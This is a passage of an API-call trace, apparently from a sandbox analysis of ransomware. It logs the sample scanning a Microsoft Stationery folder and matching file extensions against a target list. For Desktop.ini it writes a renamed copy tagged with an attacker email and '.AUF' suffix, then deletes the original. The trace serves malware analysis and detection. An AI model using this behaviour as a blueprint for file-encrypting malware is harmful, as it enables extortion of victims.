(lpString=".bz2") returned 4 [0211.808] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.808] lstrlenW (lpString=".7z") returned 3 [0211.808] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.808] lstrlenW (lpString=".dbf") returned 4 [0211.808] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.808] lstrlenW (lpString=".1cd") returned 4 [0211.808] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0211.808] lstrlenW (lpString=".jpg") returned 4 [0211.808] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.808] lstrcmpiW (lpString1=".gif", lpString2=".AUF") returned 1 [0211.808] lstrlenW (lpString="Connectivity.gif") returned 16 [0211.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.808] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2319) returned 1 [0211.808] CloseHandle (hObject=0x1e8) returned 1 [0211.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0211.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.809] lstrlenW (lpString=".doc") returned 4 [0211.809] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0211.809] lstrlenW (lpString=".docx") returned 5 [0211.809] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0211.809] lstrlenW (lpString=".pdf") returned 4 [0211.809] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString=".xls") returned 4 [0211.809] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString=".xlsx") returned 5 [0211.809] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0211.809] lstrlenW (lpString=".ppt") returned 4 [0211.809] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.809] lstrlenW (lpString=".zip") returned 4 [0211.809] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString=".rar") returned 4 [0211.809] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString=".bz2") returned 4 [0211.809] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0211.809] lstrlenW (lpString=".7z") returned 3 [0211.809] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0211.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.809] lstrlenW (lpString=".dbf") returned 4 [0211.809] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0211.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.809] lstrlenW (lpString=".1cd") returned 4 [0211.809] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0211.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.809] lstrlenW (lpString=".jpg") returned 4 [0211.809] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.809] lstrlenW (lpString=".doc") returned 4 [0211.809] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0211.809] lstrlenW (lpString=".docx") returned 5 [0211.809] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0211.809] lstrlenW (lpString=".pdf") returned 4 [0211.809] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString=".xls") returned 4 [0211.809] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0211.809] lstrlenW (lpString=".xlsx") returned 5 [0211.810] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0211.810] lstrlenW (lpString=".ppt") returned 4 [0211.810] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0211.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.810] lstrlenW (lpString=".zip") returned 4 [0211.810] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0211.810] lstrlenW (lpString=".rar") returned 4 [0211.810] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0211.810] lstrlenW (lpString=".bz2") returned 4 [0211.810] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0211.810] lstrlenW (lpString=".7z") returned 3 [0211.810] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0211.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.810] lstrlenW (lpString=".dbf") returned 4 [0211.810] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0211.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.810] lstrlenW (lpString=".1cd") returned 4 [0211.810] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0211.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0211.810] lstrlenW (lpString=".jpg") returned 4 [0211.810] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0211.810] lstrcmpiW (lpString1=".ini", lpString2=".AUF") returned 1 [0211.810] lstrlenW (lpString="Desktop.ini") returned 11 [0211.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.810] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=645) returned 1 [0211.811] CloseHandle (hObject=0x1e8) returned 1 [0211.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0211.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.811] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.811] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0211.811] GetLastError () returned 0x0 [0211.811] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x285, lpOverlapped=0x0) returned 1 [0211.812] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x290, lpOverlapped=0x0) returned 1 [0211.813] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.813] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0211.813] SetEndOfFile (hFile=0x1d8) returned 1 [0211.813] CloseHandle (hObject=0x1d8) returned 1 [0211.813] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.813] SetEndOfFile (hFile=0x1e8) returned 1 [0211.814] CloseHandle (hObject=0x1e8) returned 1 [0211.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x26) returned 1 [0211.814] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0211.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.815] lstrlenW (lpString=".doc") returned 4 [0211.815] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0211.815] lstrlenW (lpString=".docx") returned 5 [0211.815] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0211.815] lstrlenW (lpString=".pdf") returned 4 [0211.815] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0211.815] lstrlenW (lpString=".xls") returned 4 [0211.815] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0211.815] lstrlenW (lpString=".xlsx") returned 5 [0211.815] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0211.815] lstrlenW (lpString=".ppt") returned 4 [0211.815] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0211.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.815] lstrlenW (lpString=".zip") returned 4 [0211.815] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0211.815] lstrlenW (lpString=".rar") returned 4 [0211.815] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0211.815] lstrlenW (lpString=".bz2") returned 4 [0211.815] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0211.815] lstrlenW (lpString=".7z") returned 3 [0211.815] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0211.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.815] lstrlenW (lpString=".dbf") returned 4 [0211.815] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0211.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.815] lstrlenW (lpString=".1cd") returned 4 [0211.816] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.816] lstrlenW (lpString=".jpg") returned 4 [0211.816] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.816] lstrlenW (lpString=".doc") returned 4 [0211.816] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0211.816] lstrlenW (lpString=".docx") returned 5 [0211.816] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0211.816] lstrlenW (lpString=".pdf") returned 4 [0211.816] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0211.816] lstrlenW (lpString=".xls") returned 4 [0211.816] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0211.816] lstrlenW (lpString=".xlsx") returned 5 [0211.816] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0211.816] lstrlenW (lpString=".ppt") returned 4 [0211.816] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.816] lstrlenW (lpString=".zip") returned 4 [0211.816] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0211.816] lstrlenW (lpString=".rar") returned 4 [0211.816] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0211.816] lstrlenW (lpString=".bz2") returned 4 [0211.816] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0211.816] lstrlenW (lpString=".7z") returned 3 [0211.816] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.816] lstrlenW (lpString=".dbf") returned 4 [0211.816] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.816] lstrlenW (lpString=".1cd") returned 4 [0211.816] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0211.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0211.816] lstrlenW (lpString=".jpg") returned 4 [0211.816] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0211.816] lstrcmpiW (lpString1=".emf", lpString2=".AUF") returned 1 [0211.816] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0211.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.817] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3792) returned 1 [0211.817] CloseHandle (hObject=0x1e8) returned 1 [0211.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0211.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.817] lstrlenW (lpString=".doc") returned 4 [0211.817] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.817] lstrlenW (lpString=".docx") returned 5 [0211.817] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0211.817] lstrlenW (lpString=".pdf") returned 4 [0211.817] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.817] lstrlenW (lpString=".xls") returned 4 [0211.817] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.817] lstrlenW (lpString=".xlsx") returned 5 [0211.817] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0211.817] lstrlenW (lpString=".ppt") returned 4 [0211.817] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.817] lstrlenW (lpString=".zip") returned 4 [0211.817] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.817] lstrlenW (lpString=".rar") returned 4 [0211.817] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.817] lstrlenW (lpString=".bz2") returned 4 [0211.817] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.817] lstrlenW (lpString=".7z") returned 3 [0211.817] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.817] lstrlenW (lpString=".dbf") returned 4 [0211.817] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.817] lstrlenW (lpString=".1cd") returned 4 [0211.818] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.818] lstrlenW (lpString=".jpg") returned 4 [0211.818] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.818] lstrlenW (lpString=".doc") returned 4 [0211.818] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.818] lstrlenW (lpString=".docx") returned 5 [0211.818] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0211.818] lstrlenW (lpString=".pdf") returned 4 [0211.818] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.818] lstrlenW (lpString=".xls") returned 4 [0211.818] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.818] lstrlenW (lpString=".xlsx") returned 5 [0211.818] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0211.818] lstrlenW (lpString=".ppt") returned 4 [0211.818] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.818] lstrlenW (lpString=".zip") returned 4 [0211.818] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.818] lstrlenW (lpString=".rar") returned 4 [0211.818] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.818] lstrlenW (lpString=".bz2") returned 4 [0211.818] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.818] lstrlenW (lpString=".7z") returned 3 [0211.818] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.818] lstrlenW (lpString=".dbf") returned 4 [0211.818] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.818] lstrlenW (lpString=".1cd") returned 4 [0211.818] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0211.818] lstrlenW (lpString=".jpg") returned 4 [0211.818] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.818] lstrcmpiW (lpString1=".htm", lpString2=".AUF") returned 1 [0211.818] lstrlenW (lpString="Garden.htm") returned 10 [0211.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.819] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=231) returned 1 [0211.819] CloseHandle (hObject=0x1e8) returned 1 [0211.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0211.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.819] lstrlenW (lpString=".doc") returned 4 [0211.819] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.819] lstrlenW (lpString=".docx") returned 5 [0211.819] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0211.819] lstrlenW (lpString=".pdf") returned 4 [0211.819] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.819] lstrlenW (lpString=".xls") returned 4 [0211.819] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.819] lstrlenW (lpString=".xlsx") returned 5 [0211.819] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0211.819] lstrlenW (lpString=".ppt") returned 4 [0211.819] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.819] lstrlenW (lpString=".zip") returned 4 [0211.819] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.819] lstrlenW (lpString=".rar") returned 4 [0211.819] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.819] lstrlenW (lpString=".bz2") returned 4 [0211.819] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.819] lstrlenW (lpString=".7z") returned 3 [0211.819] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.819] lstrlenW (lpString=".dbf") returned 4 [0211.819] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.819] lstrlenW (lpString=".1cd") returned 4 [0211.819] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.819] lstrlenW (lpString=".jpg") returned 4 [0211.819] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.820] lstrlenW (lpString=".doc") returned 4 [0211.820] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.820] lstrlenW (lpString=".docx") returned 5 [0211.820] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0211.820] lstrlenW (lpString=".pdf") returned 4 [0211.820] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.820] lstrlenW (lpString=".xls") returned 4 [0211.820] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.820] lstrlenW (lpString=".xlsx") returned 5 [0211.820] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0211.820] lstrlenW (lpString=".ppt") returned 4 [0211.820] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.820] lstrlenW (lpString=".zip") returned 4 [0211.820] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.820] lstrlenW (lpString=".rar") returned 4 [0211.820] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.820] lstrlenW (lpString=".bz2") returned 4 [0211.820] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.820] lstrlenW (lpString=".7z") returned 3 [0211.820] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.820] lstrlenW (lpString=".dbf") returned 4 [0211.820] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.820] lstrlenW (lpString=".1cd") returned 4 